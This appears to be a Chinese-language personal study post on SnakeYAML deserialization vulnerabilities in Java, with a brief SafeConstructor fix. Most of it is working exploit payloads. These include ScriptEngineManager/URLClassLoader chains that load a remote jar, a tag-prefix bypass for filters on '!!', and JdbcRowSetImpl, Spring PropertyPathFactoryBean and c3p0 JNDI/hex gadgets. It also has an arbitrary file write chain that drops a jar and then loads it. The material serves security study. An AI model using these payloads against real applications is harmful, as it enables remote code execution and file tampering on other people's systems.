SnakeYaml反序列化
Yaml语法
- YAML大小写敏感;
- 使用缩进代表层级关系;
- 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)
key: value (value前有空格)
key:
child-key: value
child-key2: value2
//缩进表层级关系
数组
hobby:
- java
- lol
//常量
int:
- 123
- 0b1010
String:
- "hello"
环境依赖
<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
序列化反序列化
- Yaml.dump():将一个对象转化为yaml文件形式; //序列化
- Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象; //反序列化
package snakeyaml;
public class User {
int age;
String name;
public User(){
System.out.println("构造");
}
public void setAge(int age) {
this.age = age;
System.out.println("setage");
}
public int getAge() {
System.out.println("getage");
return age;
}
public void setName(String name) {
System.out.println("setname");
this.name = name;
}
public String getName() {
System.out.println("getname");
return name;
}
}
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class test {
public static void main(String[] args) {
serialize();
unserialize();
}
public static void serialize(){
User user = new User();
user.setName("zero");
user.setAge(19);
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}
public static void unserialize(){
String str1 = "!!snakeyaml.User {age: 19, name: zero}";
String str2 = "age: 19\n" +
"name: zero";
Yaml yaml = new Yaml();
yaml.load(str1);
yaml.loadAs(str2, User.class);
}
}
构造
setname
setage
getage
getname
!!snakeyaml.User {age: 19, name: zero}
构造
setage
setname
构造
setage
setname
强制类型转化!!
相当于fastjson
中的@type
指定反序列化的类名
注意通过!!
指定类名需要写全类名
load
和loadAs
都调用了对应的setter方法,而且loadAs
可以直接指定参数值,不用再指定类
漏洞
String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://1q7ha5.dnslog.cn\"]]]]";
Yaml yaml = new Yaml();
yaml.load(context);
这个可以用来检测漏洞存在
具体脚本看github项目按照作者说的
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
要注意使用低版本jdk来编译java文件
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
SPI机制
SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services
文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。
那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/
目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。
带上图应该就好理解了
总的来说,META-INF.services
下的文件名是接口类,内容为接口类的实现类
程序会java.util.ServiceLoder
动态装载实现模块,在META-INF/services
目录下的配置文件寻找实现类的类名,通过Class.forName
加载进来,newInstance()
反射创建对象,并存到缓存和列表里面
漏洞分析就算了,自己也不懂,就跟着别人试
有意思的是
会把!!
变为tag:yaml.org,2002:
然后再拼接javax.script.ScriptEngineManager
所以当!!
被禁用时,可以用tag:yaml.org,2002:
进行绕过
!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource>
漏洞修复
加入new SafeConstructor()
类进行过滤
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;
public class snaketest {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
}
}
漏洞利用
SnakeYAML反序列化及可利用Gadget | Y4tacker’s Blog
与fastjson类似,大多可以参考fastjson,但不能调用恶意类,因为fastjson调用恶意类调用的是getter
JdbcRowSetImpl
import org.yaml.snakeyaml.Yaml;
public class JdbcRowSetImplTest {
public static void main(String[] args) {
String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/aa\", autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
之前这里下了断点,然后执行下一步时突然调到这里(唉,根本不会调试)
重点就是setDataSourceName
,setAutoCommit
Spring PropertyPathFactoryBean利用链
这个链子需要springframework依赖
import org.yaml.snakeyaml.Yaml;
public class PropertyPathFactoryBeanTest {
public static void main(String[] args) {
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"rmi://127.0.0.1:1099/aa\", propertyPath: \"whatever\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"rmi://127.0.0.1:1099/aa\"]}}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
c3p0
二次反序列化 Hex
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class yaml_with_c3p0 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("D:\\CTF-tool\\java_unserialize\\calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
Yaml yaml = new Yaml();
String str = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + HexString + ';';
yaml.load(str);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
jndi注入
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class snakewithjndi {
public static void main(String[] args) throws Exception {
String str = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
"jndiName: rmi://127.0.0.1:1099/exp2\n" +
"loginTimeout: 0";
Yaml yaml = new Yaml();
yaml.load(str);
}
}
任意文件写入
在fastjson1.2.68当中,存在一个任意文件写入的反序列化漏洞,并没有依赖fastjson的一些类,这些都是java自带的,那SnakeYaml也是可以用到的
cat yaml-payload.jar | openssl zlib | base64 -w 0
//直接生成
package Snake;
import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;
public class SnakeYamlOffInternet {
public static void main(String [] args) throws Exception {
String poc = createPoC("C:/Users/ga't'c/Desktop/临时/yaml-payload-master/yaml-payload.jar","./yaml.jar");
Yaml yaml = new Yaml();
yaml.load(poc);
}
public static String createPoC(String SrcPath,String Destpath) throws Exception {
File file = new File(SrcPath);
Long FileLength = file.length();
byte[] FileContent = new byte[FileLength.intValue()];
try{
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
}
catch (FileNotFoundException e){
e.printStackTrace();
}
byte[] compressbytes = compress(FileContent);
String base64str = Base64.getEncoder().encodeToString(compressbytes);
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]";
System.out.println(poc);
return poc;
}
public static byte[] compress(byte[] data) {
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater { input: !!binary base64str },1048576]]
结果替换input,生成jar包
最后URLClassLoader加载本地jar包
import org.yaml.snakeyaml.Yaml;
public class snaketest {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file://yaml.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
}
}